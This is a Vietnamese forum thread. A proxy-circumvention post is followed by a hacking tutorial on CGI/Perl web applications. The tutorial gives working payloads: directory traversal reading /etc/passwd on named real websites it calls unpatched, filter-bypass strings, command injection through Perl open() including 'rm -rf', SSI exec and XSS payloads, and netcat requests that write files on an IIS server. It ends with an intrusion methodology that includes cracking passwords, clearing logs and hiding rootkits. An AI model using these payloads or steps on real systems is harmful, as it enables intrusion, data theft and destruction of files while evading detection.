    https://tong.ziyoulonglive.com/dmirror/http/www.vidu.net


    -Chép lên thanh address, gõ Enter, OK 2 lần.
    -Xong.

    Nếu các bác muốn download một file nào đó từ trang web ykien.net chẳng hạn như file

    Code:

    Code:
    https://tong.ziyoulonglive.com/dmirror/http/www.vidu.net/abc.zip

    chẳ ng hạn, thì phải:

    -Một là biến cái dòng loằng ngoằng trên thành địa chỉ thật của nó là http://www.vidu.net/abc.zip, sau đó dùng Flashget tải về.
    -->Tuy nhiên, trong một số trường hợp, tường lửa mạnh đến nỗi có thể chặn được cả quy trình tải file, các bác sẽ 0 tải được gì.
    -Lúc đó thì phải:
    +Download chương trình NETTransport từ www.xi-soft.com
    +Cài đặt.
    +Dùng nó mà tải về.
    Em cũng khuyến cáo các bác dùng Net Trans thay cho FlashGet vì nó hỗ trợ tất tần tật từ HTTP, HTTPS, FPT cho đến NMN, RTSP (của file REAL), trong khi FG chỉ hỗ trợ mỗi HTTP; NET Trans cũng có chế độ chia mảnh như Flashget, tối đa 10 mảnh, tốc độ nhanh hơn flashget.
    Dùng NET trans có thể tải được cả file REAL, bình thường thì các bác phải nghe trực tuyến, phải không ạ? Bây giờ chỉ mất 5 phút là các bác đã có thể ôm trọn bộ BBC, VOA mang về nhà nghe cho đỡ tốn.
    Cách làm như sau: Mở NETTrans, bấn phím Insert, lần lượt tải những file sau đây:

    Code:

    Code:
    http://www.voanews.com/real/voa/eap/viet/viet2230a.ram 
    http://www.voanews.com/real/voa/eap/viet/viet1500a.ram 
    http://www.voanews.com/real/voa/eap/viet/viet1300a.ram 
    http://www.bbc.co.uk/vietnamese/meta/tx/nb/viet2300_au_nb.ram 
    http://www.bbc.co.uk/vietnamese/meta/tx/nb/viet1430_au_nb.ram


    Sau khi tải về sẽ được 10 file trong đó có 5 file đuôi RAM, dung lượng 1kb, xoá đi, còn lại 5 file đuôi RM thì dùng REAL hay Media Player Classic để nghe.

    Tí nữa thì quên: Dùng proxy HTTPS rất an toàn vì được mã hoá, ngoại trừ máy của chính các bác ra không có máy nào đọc được, các bác cảnh nhà ta sẽ không làm gì nổi. Hè hè.

    Các bác nếu dùng email thì nên chọn gmail vì có chế độ bảo mật SSL, dùng Thunderbird Portable tải về đọc tại gia, nếu cẩn thận hơn nữa thì kiếm cái Hide IP Platinum giấu địa chỉ IP của mình đi cho ăn chắc.





    Tôi dùng 3 thằng proxy này, trang nào cũng vào được, kể cả trang không tường lửa

    Code:
    1. http://www.unipeak.net 
    
    2. http://www.shadowbrowser.com/?pin=trial 
    
    3. Tên trang này kêu nhất (Cô che mông tôi đi!) 
    http://www.hidemyass.com/
    ================

    Muốn vào trang http://www.vidu.org làm như sau: bỏ 1 ký tự /, 1 ký tự : đi, còn http/www.vidu.org , dán link thiếu này vào sau link
    Code:
     https://www2.xuexi2005.com/dmirror
    , như vậy ta sẽ có link này để vào trang vidu:
    Code:
     https://www2.xuexi2005.com/dmirror/http/www.vidu.org

  3. #3
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 03:

    Tiêu đề: CGI hacking

    Tác giả: (Someone)


    CGI hacking

    Hiện nay các ứng dụng WEB dùng CGI rất nhiều,nó trở nên rất phổ biến và cũng được các hacker quan tâm và không ít các lổi bảo mật được tìm thấy .Bạn muốn hack web sữ dụng CGI thì bạn phải biết chút ít về ngôn ngữ PERL.Nếu bạn không biết gì về PERL thì tôi khuyên bạn nên đi tìm một cuốn sách nói về PERL mà đọc,điều này chắc là không khó đối với bạn.

    Trước tiên ta hãy xem cách thức làm việt của GET và POST như thế nào:

    GET:

    GET là phương pháp mặt định để đệ trình các form,tuy là phương pháp mặt định nhưng có một vấn đề với việt sữ dụng GET.Phương pháp này thêm thông tin chứa trong form vào chuổi vấn tin URL(,nếu URL quá dài thì chương trình tự động xén bớt nên gây ra sự đệ trình không chính xác.Thông tin đực lấy từ biến môi trường $ENV{'QUERY_STRING'} ví dụ:

    Code:
    #script.cgi?sometext 
    
    #sẽ là: 
    
    $file = 'sometext' 
    
    $file = $ENV{'QUERY_STRING'}; 
    
    #script.cgi?some&text 
    
    #sẽ là: 
    
    $name = 'some' and $file = 'text' 
    
    ($name, $file) = split(/&/, $ENV{'QUERY_STRING'});
    (chú ý:Tôi khuyên bạn biết chút ít về PERL cho dù bạn không lập trình bằng PERL,và điển hình là bài viết này bạn hiểu nó như thế nào ví dụ lệnh split() làm như thế nào...)

    Và nếu nhiều biến thì như sau:

    Code:
    @pair = split(/&/, $ENV{'QUERY_STRING'}); 
    
    foreach $pair (@pairs) 
    
    { 
    
    ($name, $value) = split(/=/, $pair); 
    
    #used to make + into spaces 
    
    $value =~ tr/+/ /; 
    
    #used to convert url encoding (hex) to ascii : 
    
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; #script.cgi?name=some&file=text 
    
    #sẽ là: 
    
    $FORM{'name'} = 'some' and $FORM{'file'} = 'text' 
    
    }
    Trên đây là những ví dụ đơn giản về phương thức GET.và HTTP có dạng như sau:

    Code:
    GET /script.cgi?some&text HTTP/1.0
    POST:

    POST là phương pháp thư hai dùng để đẹ trình các form và đang đươc sữ dụng rộng rải nhất,vì nó không hạn chế lượng dữ liệu truyền đến server.Để đọc dữ liệu truyền đến server,trước tiên bạn phải xác định chiều dài của nó,và thực hiện điều này bằng cách qua iến môi trường CONTENT_LENGTH và sau đó bạn có thể đọc số byte chính xác trong một biến khác,chuổi được mã hoá bởi URL do đó bạn cần phân tích và giải mã nó.Đây là ví dụ của HTML được "submit" form với hai biến "name" và "file":

    Code:
    <form action="script.cgi" method="post"> 
    
    <input type="text" name="name" value=""> 
    
    <input type="hidden" name="file" value="profiles.txt"> 
    
    <input type=submit value="submit"> 
    
    </form>
    Và tất cã các form dữ liệu sẽ được đặt trong:into $FORM{'name-of-field'} đọc POST data:

    Code:
    $buffer read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); 
    
    @pairs = split(/&/, $buffer); 
    
    foreach $pair (@pairs) 
    
    { 
    
    ($name, $value) = split(/=/, $pair); 
    
    #used to make + into spaces 
    
    $value =~ tr/+/ /; 
    
    #used to convert url encoding (hex) to ascii 
    
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
    
    #this would set 
    
    $FORM{'name'} = whatever the user put in the text field 
    
    #and $FORM{'file'} to profile.txt 
    
    $FORM{$name} = $value; 
    
    }
    Làm việc của POST phần nào đó rất giống GET nhưng bạn sữ dụng hàm read() để đọc vào STDIN và nó sẽ send phần dữ liệu chứa trong phương thức POST.CONTENT _LENGTH dùng để gọi script để đọc dữ liệu,nó bao gồm trong phương thức POST.Một số script sữ dụng phưong thức này có dạng như sau:

    Code:
    <input type="hidden" name="file" value="profiles.txt">
    -->đây là phần ẩn của mã nguồn URL mà khi hacker muốn xem thì không khó,khi anh phát hiện ra code có dạng như thế thì có thể đổi lại như sau:

    Code:
    <input type="hidden" name="file" value="/etc/passwd">
    Và khi nhấn nút "submit" thì dữ liệu sẽ được phuơng thức POST gởi yêu cầu tới HTTP requery,vậy là bạn có được file passwd,thậm chí chỉ dùng telnet cũng lấy được.Đây là phương pháp dể dàng để lấy được dữ liệu quan trong của server qua vùng ẩn của html.Có nghĩa là bạn có thể bypass bất kỳ loại clien side security,chẵng hạn như java script check,http_referrer value,form html...Đừng bao giờ trông chờ vào dữ liệu đươc chuyển đến qua phương thức POST hơn nữa bạn sẽ có được dữ liệu từ GET,và nó sẽ thay đổi bởi attacker họ có thể đọc được dữ liệu của bạn từ HTTP RFC ví dụ dùng telnet:

    POST /script.cgi HTTP/1.0

    Content-Length: 23

    Content-Type: application/x-www-form-urlencoded value=blah&another=bleh

    POST và GET là hai phương thức giúp nhiều cho hacker khai thác thông tin của hệ thống và một modul quan trọng nữa là CGI cũng có lợi rất nhiều.

    CGI:

    CGI là một tiêu chuẩn để tạo các chương trình ngoại chẵng hạn như các script perl với một HTTP server,các thuật ngữ "common" và "gateway" ám chỉ các biến và quy ước thông thường được dùng để truyền thông tin này qua lại HTTP server.CGI cho phép bạn sữ dụng chương trình tuỳ biến này để định dạng và xữ lý dữ liệu xuất sang các bộ trình duyệt.Mổi lần người dùng yêu cầu một URL tương ứng với một Script CGI,WEB server viện dẩn chương trình,truyền dẩn thông tìn từ bộ trình duyệt đến script.Thông tin này bao gồm các header HTTP khác nhau và được gởi từ trình duyệt yêu cầu và thông tin từ được truyền cùng với URL chẵn hạn như thông tin chuổi query.Sau đó script CGI đọc và xữ lý đưa ra đáp ứng thích hợp với thông tin này :

    xem ví dụ:

    Code:
    #$value is a new CGI 
    
    $value=CGI->new(); 
    
    $file = $value->param('file'); 
    
    #script.cgi?name=some&file=text 
    
    $name = $value->param('name'); 
    
    #would make $name = 'some' and $file = 'text'
    COOKIE:

    Chắc tôi khỏi nói các bạn cũng biết.

    Code:
    ENV: 
    
    AUTH_TYPE:Kiểu xác thực dùng để hiệu lực hoá người dùng 
    
    CONTENT_LENGTH:Kích cở của nội dung file được cho ra 
    
    CONTENT_TYPE:Loại nội dung mà dữ liệu được gởi 
    
    CATEWAY_INTERFACE:Phiên bản CGI mà server hổ trợ 
    
    HTTP_ACCEPT:Loại MINE mà trình duyệt chấp nhận cho yêu cầu này 
    
    HTTP_USER_AGENT:Tên hoàn chỉnh bộ nhận dạng cảu bộ trình duyệt 
    
    PATH_INFO:Thông tin đường dẩn 
    
    PATH_TRANSLATED:PATH_INFO được biên dịch 
    
    QUERY_STRING:Bất kỳ text sau '?' 
    
    REMOTE_ADDR:Địa chỉ IP của bộ trình duyệt yêu cầu 
    
    REMOTE_HOST:Máy chủ của bộ trình duyệt thực hiện yêu cầu 
    
    REQUEST_METHOD:Phương pháp dùng đạt yêu cầu chẵn hạn GET hay POST 
    
    SCRIPT_NAME:Đường dẩn đến script được thực thi. 
    
    SERVER_NAME:Tên máy chủ của server. 
    
    SERVER_PORT:Cổng mà máy chủ liên lạc 
    
    SERVER_PROTOCOL:Giao thức và phiên bản được sữ dụng trong câu trã lời của server. 
    
    SERVER_SOLLTWARE:Tên và phiên bản phần mềm server.
    Từ nảy đến giờ các bạn chỉ đọc toàn kiến thức cơ bản về giao thức truyền thông tin qua GET và POST với HTTP...Ta hãy đi đến phần quan trọng của ứng dụng lổi của script CGI trong việc hack.

    Reverse Directory Transversal
    Bây giờ hãy tận dụng các tổn thương của CGI nếu bạn biết UNIX và PERL thì tại sao không thể tìm ra lổ hổng của ứng dụng này,bây giờ ta hãy chú ý đến thuật ngữ:"Reverse Directory Transversal" làm chúng ta liên tưỡng đến dấu "../" tôi có thể nói rằng hầu hết các bạn ở đây đều biết tác dụng của dấu này chứ nên tôi không cần nói nhiều làm gì nữa mà ta hãy đặt ra câu hỏi tại sao lại sữ dụng dấu này?Vâng thưa các bạn tôi sẽ nói cho các bạn biết trong những dòng chữ tiếp theo sau.Dấu này nó cho phép chúng ta đoc,ghi,xoá và thi hành các file trên server bị tổn thương.Đây là cú pháp của hàm open()<!--emo&--><IMG alt=greensad.gif src="http://vnhacker.org/forum/html/emoticons/greensad.gif" border=0 valign="absmiddle"><!--endemo-->ví dụ)

    Code:
    open(FILE, "/home/user/file.txt"); 
    
    or 
    
    $this = '/home/user/file.txt'; 
    
    open(FILE, "$this");
    Cã hai có chung một mục đích là mở file file.txt,chúng ta có thể thấy không có sơ hở nào cho việc tấn công từ xa của hacker.Và bây giờ chúng ta thữ nhìn đoạn code vuln.cgi sau:

    Code:
    $this = $ENV{'QUERY_STRING'}; 
    
    #gets the user input into $this 
    
    open(FILE, "$this"); 
    
    #opens that file 
    
    @stuff = <FILE>; 
    
    #puts contents of that file into @stuff array close(FILE); 
    
    print "Content-type: text/html\n\n"; 
    
    #print html to the client print "<HTML><BODY>\n"; 
    
    print @stuff; 
    
    print "</BODY></HTML>";
    Các hacker sẽ làm việc với biến môi trường QUERY_STRING như sau:/etc/passwd và bất kỳ file nào để có thể đọc trên server.Nhưng một số server khác lại không như thế họ bảo mật hơn một tí ví dụ code như sau.

    Code:
    $this = '/home/user/'; 
    
    (undef, $this) .= split(/?/, $ENV{'QUERY_STRING'}); 
    
    open(File, "$this");
    Bây giờ thì bạn không thể đọc với đầu vào là /etc/passwd nhưng ko vì thế mà các hacker đầu hàng họ nghĩ ngay ra dùng dấu ../ như sau:../../etc/passwd và họ đã thành công ví dụ trong một số ứng dụng CGI có đoạn URL sau:script.cgi?file=database.txt nhưng hacker đã tận dụng và khai thác như sau:script.cgi?file=../../../../etc/passwd

    Ví dụ file mà tôi tìm thấy lổi này(chưa fix):

    Code:
    <A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../../etc/passwd" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=..../../etc/passwd
    Ta còn có thể khai thác các lệnh UNIX trên server này nữa ví dụ:

    Code:
    <A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../../bin/ls|" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=...../bin/ls|
    >>Xem các file và thư mục trên hệ thống và các bạn có thể thi hành các lệnh UNIX trên server này.

    Đây là code để bảo vệ việc dùng dấu '../' như sau:

    Code:
    $this = '/home/user/'; 
    
    (undef, $this) .= split(/?/, $ENV{'QUERY_STRING'}); 
    
    $this = s/\.\.\///g; 
    
    #gets rid of ../ in $this 
    
    open(File, "$this");
    Thoạt đàu nhìn thì có vẽ an toàn,nhưng chúng ta biết về cách mà UNIX và PERL hiểu như thế nào,hãy nhìn đây,đó là .\./.\./etc/passwd =>Trong UNIX sữ dụng '.\./' thay cho '../' nhưng các hacker đâu chịu yên họ sữ dụng để làm đầu vào như sau:'.\./.\./' thì file bảo vệ đó sẽ không nhìn thấy '../' tương đương '....//' và các string sẽ không được lọc hết,và bây giờ các hacker có thể đọc thi hành và xoá các file trên hệ thống ví dụ điển hình về lổi này là:

    FileSeek.cgi

    file này có đoạn code như sau:
    Code:
    ===================== 
    
    $ROOT_DIR = '/web/guide/cgi-perl/private_09832ujd/CD-ROM/'; 
    $DD = substr($ROOT_DIR, -1); # $DD = '/' 
    ... 
    if ($directory =~ /$DD\.\./) { $directory = '' } 
    $ARGS{'head'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g; 
    $ARGS{'foot'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g; 
    
    =====================
    Rất dễ để đánh lừa FileSeek.cgi! Nếu attacker gởi "....//", FileSeek.cgi sẽ strip "../" và kết quả sẽ ra là "../".exploit như sau:

    Code:
    <A href="http://www.cgi-perl.com/programs/FileSeek/Demo/FileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd" target=_blank><FONT color=#abb2d5>http://www.cgi-perl.com/programs/FileSeek/......//etc/passwd
    Vâng tới đây là bạn có thể hiểu rồi chứ.

    Flat Databases:

    Khi bạn nghe nói về flat Databases có nghĩa là dùng plain text để chứa dữ liệu đây có thể là database.txt,database or file.db.Bây giờ chúng ta hãy xem một ví dụ về FD(Flat Databases)

    Hãy xem đoạn code sau:

    Code:
    use CGI; 
    
    #$input is a new cgi 
    
    $input=CGI->new(); 
    
    #get GET/POST variables 
    
    $name = $input->param('name'); 
    
    $mail = $input>param('mail'); 
    
    $message = $input->param('message'); 
    
    #print to messages database 
    
    open(DB, ">>messages.txt"); 
    
    print DB "$name|$mail|$message\n"; close(DB);
    Có ba vùng dũ liệu để input vào messages.txt,khi message board script đọc thì bạn sẽ nhìn thấy code sau:

    Code:
    #read messages database 
    
    open(DB, "<messages.txt"); 
    
    @messages = <DB>; 
    
    close(DB); 
    
    #print html print "Content-type: text/html\n\n"; 
    
    print "<HTML><BODY>\n"; 
    
    #loop through all the messages 
    
    foreach $msg (@messages) 
    
    { 
    
    #split the database fields up 
    
    ($name, $mail, $message) = split(/\|/, $msg); 
    
    print "message by: <a href="mailto:$mail">$name</a>\n"; print "<br><br>\n$message\n<br><br>\n"; 
    
    } 
    
    print "</BODY></HTML>";
    Không có sự lọc dữ liệu dầu vào nào đối với code này.nên bạn có thể dùng như sau để làm tràn:

    flood|flood|flood\nflood|flood|flood\nflood|flood|flood\nflood|flood|flood\n ...thật nhiều vào

    Với đoạn code trên ta không nhìn thấy sự đe doạ lớn nào đến với hệ thống nhưng hãy nhìn một số server code ẩu và có dạng như sau:dữ liệu vào:'username|password|visits|user-agent|admin|ipaddress' vùng admin là 1 nếu user là admin và 0 nếu là user bình thường.Vậy hãy nhìn khi chúng ta cho dữ liệu đầu vào như sau:

    b0iler|a|1|linux|1|127.0.0.1|

    OK tương đương user name là b0iler,visit là 1,user-agent là linux,*admin to 1*,ipaddress là 127.0.0.1 với lổi này một user bình thường có thể login vào hệ thống với quyền root,thông thường thì trường user name và pass thì được lọc nhưng với user-agent và referer thì không được lọc và các hacker có thể chèn những đoạn mã lệnh nguy hiểm vào hệ thống server bị tổn thương.

    Cross Site scripting:

    XSS thì các bạn nghe đến nhiều rồi nhất là bài viết của MASK.. rất rỏ nên tôi không muốn viết lại nữa,nhưng ỡ đây tôi đang viêt về lổ hổng của CGI nhưng CGI cũng bị lổi về XSS nên tôi nói sơ qua vậy mong các baạnthông cảm,xem ví dụ:

    Code:
    <A href="http://vuln.com/script.cgi?display=< script" target=_blank><FONT color=#abb2d5>http://vuln.com/script.cgi?display=< script type=text/javascript>alert('hello');< /script>
    script.cgi là code perl mà nó dùng để xem dữ liệu trong vùng input và sẽ trã về clien side trên trìhn duyệt,và có nghĩa là đoạn code < script type=text/javascript>alert('hello');< /script> sẽ được chạy ngay trên trình duyệt của bạn.Và với những code js mà bạn biết bạn có thể khai thác một cách hiệu quả điển hình nhất là lấy cookie(bánh quy) và hơn nữa là có thể truy cập vào các URL chứa user name,passwd,sessionid và một số thông tin nhạy cảm nhất.Bạn có thể thay đổi user trên site đó và bạn cũng có thể submit data đê script thi hành gây những tổn hại đến server như del email,thay đổi email,send email,add admin vào database và bất cứ thứ gì bạn muốn khi bạn truy cập vào hệ thống với quyền tối cao.Đây là một đoạn code CGI có vấn đề:

    Code:
    use CGI; 
    
    #$input is a new CGI 
    
    $input=CGI->new(); 
    
    $email = $input->param('email'); 
    
    #checks for valid email address: something@something.com 
    
    if($email !~ /^(\S+)\@(\S+).(\S+)/) 
    
    { 
    
    #prints $email to html, totally unfiltered. 
    
    &printhtml("error: $email is not a valid email address"); 
    
    } 
    
    else 
    
    { 
    
    &processemail("$email"); 
    
    }
    Bạn có thể đưa thông tin ví dụ < script type=text/javascript> alert(hello);< /script> vào email address một error message sẽ được gởi tới clien và đoạn mã js sẽ được chạy ngay trên trình duyệt của hacker.Và ví dụ về những lổi này thì tôi không cần đưa lên đây vì trong box bảo mật có rất nhiều lổi nói về XSS bạn có thể tìm và khai thác chúng =>tăng thêm kỹ năng hack của bạn.

    Và tôi nói thêm trong việc chèn code js trong viêc tấn công qua cổng 80 xem ví dụ một số cách tấn công sau:

    Thữ chèn một đoạn mã JS vào "Referer":

    Code:
    C:\>nc 127.0.0.3 80 
    HEAD / HTTP/1.0 
    Referer: < script>alert('document.domain='+document.domain)< /script> 
    
    HTTPd Response 
    
    HTTP/1.1 200 OK 
    Server: Microsoft-IIS/4.0 
    Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm 
    Content-Type: text/html 
    Content-Length: 4325 
    
    
    Chèn vào default.asp: 
    
    C:\> nc 127.0.0.3 80 
    HEAD /default< script>alert("Cheers world!")< /script>.asp HTTP/1.0 
    
    
    #Software: Microsoft Internet Information Server 4.0 
    #Version: 1.0 
    #Date: 2002-06-17 16:26:50 
    #Fields: time c-ip cs-method cs-uri-stem sc-status 
    16:26:50 127.0.0.3 HEAD /Default.htm 200 
    16:27:04 127.0.0.3 HEAD /default< script>alert("Cheers world!")< /script>.asp 200 
    16:41:15 127.0.0.3 GET /default.asp 200 
    Những script mà attacker có thể sữ dung: 
    HEAD< script SRC="c:\boot.ini">< /script> / HTTP/1.0 
    HEAD /default.asp<FileSystemObject.CopyFile "c:\boot.ini", "boot.htm"> HTTP/1.0 
    GET /< script>window.location="http://www.bad.com/bad.htm";< /script>home.htm HTTP/1.0 
    GET /default.asp<%FSObj.CopyFile global.asa global.txt%> 
    Tiếp tục: 
    C:\>nc 127.0.0.3 80 
    HEAD /Default.asp HTTP/1.0 
    User-Agent: <% Set fs = CreateObject("Scripting.FileSystemObject") 
    Referer: Set a = fs.CreateTextFile("c:\testfile.txt", True) 
    
    C:\>nc 127.0.0.3 80 
    HEAD /Default.asp HTTP/1.0 
    User-Agent: a.WriteLine("Here an attacker would") 
    Referer: a.WriteLine("build a file o-n the HTTPd") 
    
    C:\>nc 127.0.0.3 80 
    HEAD /Default.asp HTTP/1.0 
    User-Agent: a.WriteLine("of any type and content, including") 
    Referer: a.WriteLine("a binary, a script, a batch file...") 
    
    C:\>nc 127.0.0.3 80 
    HEAD /Default.asp HTTP/1.0 
    User-Agent: a.Close %> 
    Và: 
    C:>\nc 127.0.0.3 80 HEAD / HTTP/1.0 
    HTTP/1.1 200 OK 
    Server: Microsoft-IIS/4.0 
    Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm 
    Content-Type: text/html 
    Accept-Ranges: bytes 
    Content-Length: 4325 
    C:>\nc 127.0.0.3 80 
    HEAD /default.asp<img src="file:/C:/boot.ini"> 
    HTTP/1.0 
    HTTP/1.1 200 OK 
    Server: Microsoft-IIS/4.0 
    Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm 
    Content-Type: text/html 
    Accept-Ranges: bytes 
    Content-Length: 4325 
    C:>\nc 127.0.0.3 80 
    HEAD /default.asp< script>alert("Cheers world!")< /script> 
    HTTP/1.0 HTTP/1.1 200 OK 
    Server: Microsoft-IIS/4.0 
    Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm 
    Content-Type: text/html 
    Accept-Ranges: bytes 
    Content-Length: 4325
    Chú ý:những đoạn code trên là ví dụ bạn phải linh hoạt trong qúa trình xâm nhập của mình
    SSI:

    Chắc các bạn cũng từng nghe qua về SSI vậy SSI thật ra là cái gì thưa các bạn tôi có thể nói rằng nó giống như #include file ->trong C/C++ hay hàm requery() và include() trong PHP nhưng đây là dùng cho SHTML(có nghĩa là file có đuôi là .shtml) vây cú pháp như sau:

    Code:
    <!--#thông tin --> 
    
    <!--#include file="/etc/passwd" --> 
    
    ==>đưa thông tin của file /etc/passwd ra trình duyệt 
    
    <!--#exec cmd="rm -rf /home/you/www" --> 
    
    ==>thi hành lệnh sau exec ở đây là 'rm -rf /home/you/www' 
    
    Đây là code CGI:(ví dụ) 
    
    @pairs = split(/&/, $ENV{'QUERY_STRING'}); 
    
    foreach $pair (@pairs) 
    
    { 
    
    ($name, $value) = split(/=/, $pair); 
    
    $value =~ s/<!--(.|\n)*-->//g; 
    
    $FORM{$name} = $value; 
    
    } 
    Hãy nhìn $value =~ s/<!--(.|\n)*-->//g;nó đã lọc các SSI,và khi bạn dùng SSI thì nó không làm việc.Chúng ta hãy nhìn đoan code sau: 
    
    "<br> $username $email <br><br> $message <br>" 
    
    Vậy bạn có thể vào phần input trong trường user name ví dụ <!-- and email as #exec cmd="ls" --> thì nó sẽ thi hành lệnh ls.Lọc dữ liệu là phần quan trọng trong các úng dụng PERL Script,nhưng những hacker thì sẽ luôn tìm ra những khe hở để qua mặt hệ thống xem ví dụ sau: 
    
    $value =~ s/<!--(.|\n)*-->//g; 
    
    đoạn code trên lọc SSI với <!-- #anything --> nhưng hãy nhìn đoạn SSI sau: 
    
    <!-<!-- #nothing -->- #include file="/etc/passwd" --> 
    
    đoạn này thì không làm việc vì perl sẽ tìm <!-- đầu tiên và --> cuối cùng vậy ta hãy sữa đổi lại một chút như sau: 
    
    <!-<!-- -->- #include file="/etc/passwd" -<!-- -->->
    Làm việc một cách rất ngon lành vì <!-- và --> không tìm thấy vậy ta đã lừa được hệ thống một cách ngoạn mục

    Vậy bài học là gì:

    Muốn tấn công hệ thống nào đó thì ta phải hiểu hệ thống đó có cấu trúc như thế nào làm việc ra sao,ở đây các ứng dụng CGI dùng perl script thì ta phải hiểu cách thức làm việc của perl thì mới có thể khai thác được.

    Bây giờ bạn thấy hiểm hoạ to lớn từ SSI như thế nào rồi chứ hi vọng các bạn hãy quan tâm đến hệ thống của mình để tránh được các cuộc tấn công của hacker.

    NULL Byte:

    Vấn đề nằm ở \0 (00 hex) là NULL Byte,perl sẽ nhìn NULL Byte ở ký tụe NULL nhưng C thì không như vậy,chúng ta có thể vượt rào ngăn cản của hệ thống đó thông qua các hàm hệ thống như open(),exec()...Để dể hiểu hãy xem ví dụ sau:

    Code:
    #get input and put it into $file 
    
    $file = $ENV{'QUERY_STRING'}; 
    
    #convert url encoding to ASCII (%00 will become the NULL Byte) 
    
    $file =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
    
    $filename = '/home/user/' . $file . '.txt'; 
    
    open(FILE, "<$filename");
    Đoạn code này làm gì? $file sẽ lấy /home/user/ đặt trước và .txt đặt sau nó.Khi $file=a cón nghĩa là nó sẽ mở file a.txt,nhưng khi bạn đánh trên trình duyệt với URL sau ví dụ:script.cgi%00 thì perl sẽ gởi /home/user/script.cgi\0.txt đến C và nó sẽ nhìn với /home/user/script.cgi là NULL Byte vậy khai thác như thé nào hãy làm như sau:Chèn một kí tự NULL byte vào phía sau câu truy vấn vd:../../../../etc/passwd\0 vậy là ta có thể đọc được file /etc/passwd,với những code upload thì ta cũng có thể up những file không cho phếp với những mẹo bất kỳ nào mà bạn nghĩ ra để lừa hệ thống

    Vấn đề với hàm open():

    Hàm open() rất hay được sữ dụng nhưng nó cũng có những mối nguy hiểm đến hệ thống của ban,để cho vấn đè được rỏ ràng hơn hãy ghé thăm ví dụ sau:

    Code:
    use CGI; 
    
    $input=CGI->new(); 
    
    $file = $input->param('file'); 
    
    open(FILE, $file) or &diehtml("cannot open that file");
    Hãy khai thác thữ lổi này:

    Code:
    <A href="http://b0iler.eyeonsecurity.net/script.cgi?file=rm" target=_blank><FONT color=#abb2d5>http://b0iler.eyeonsecurity.net/script.cgi?file=rm -rf ./|
    thư mục hiện hành sẽ bị xoá,vậy là bạn có thể thấy tính nguy hiểm của nó như thế nào rồi

    Tóm lại:

    Tôi đã trình bày sơ qua một số lổi của các ứng dụng CGI mà sữ dụng PERL Script mong rằng với những kiến thức nhỏ này bạn có thể hiểu thêm về tầm quan trọng của việc bảo mật hệ thống,hi vọng từ bài viết này có thể giúp cho các bạn biết một số lổi thường gặp của ứng CGI mà khai thác và fix một cách hiệu quả.Nếu có gì thiếu sót mong anh em chỉ giáo.

    Các bước của hacker khi muốn đột nhập vào một hệ thống máy chủ :

    <Bước 1> FootPrinting : Các mục tiêu của bước này chủ yếu là những thông tin ban đầu về server . Công nghệ bạn cần sử dụng là : Open source search ( nguồn máy chủ tìm kiếm ) Whois , Web interface to whois , Arin Whois , DNS zone transfer ( bộ phận này chủ yếu là kiểm tra về người chủ server , DNS .. cấu trúc server chưa thể hiện rõ ở đây ) 1 số công cụ : UseNet , search engines ( công cụ tìm kiếm ) , Edgar Any Unix client ,
    Code:
    http://www.networksolutions.com/whois , http://www.arin.net/whois , dig , nslookup Is -d , Sam spade
    <Bước 2> Scanning : Phần lớn các server chịu bung thông tin quan trọng trong bước này , hãy cố gắng tận dụng bước này triệt để để biết các port trên server , nghe đường dữ liệu . Công nghệ bạn cần sử dụng là : Ping Sweep , TCP/UDP port Scan , Os Detection . Các công cụ : fping , icmpenum Ws_ping ProPack , nmap , SuperScan , fscan nmap , queso , siphon .

    <Bước 3> Enumeration : Đến bước này , các attacker bắt đầu kiểm soát server sơ bộ , xác định các account trên server , mức độ bảo vệ ... Công nghệ bạn cần sử dụng là : List user accounts , List file share , Identify applications . Các tool phụ trợ : null sessions , DumpACL , sid2user , OnSite Admin showmount , NAT , Legion banner grabbing với telnet , netcat , rpcinfo .

    <Bước 4> Gaining access : Aha , đã có đủ dữ liệu để kết hợp tất cả chúng lại . Chúng ta bắt đầu đến gần mục tiêu . Hãy nắm chắc cơ hội . 1 account có thể bị Crack . Công nghệ : Password eavesdropping , File Share brute forcing , Password file grab , buffer overflows . Các tool : tcpdump , L0phtcrack readsmb , NAT , legion , tftp , pwdump2 ( NT ) ttdb , bind , IIS , .HTR/ISM.DLL

    <Bước 5> Escalating privilege : Nếu 1 account không may mắn nào ở một cấp độ nào đó bị crack ở bước trên , chúng ta sẽ có cái tận dụng để điều khiển Server . Công nghệ : Password cracking , BUG ,Exploits . Tools : john , L0phtcrack , Ic_messages , getadmin , sechole .

    <Bước 6> Pilfering : Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server . Nếu bước này không thành công , hãy đến bước <9> . Công nghệ : Evaluate trusts , Search for cleartext passwords . Tool : rhost , LSA Secrets user data , configuration files , Registry .

    <Bước 7> Covering Tracks : Hệ thộng luôn ghi nhận những hành động của bạn . Nếu bây giờ mà kết thúc , chắc bạn bị tóm ngay . Đây là bước cực kì quan trọng . XÓA LOG . Công nghệ : Clear logs , hide tools . Tools : Zap , Event log GUI , rootkits , file streaming .

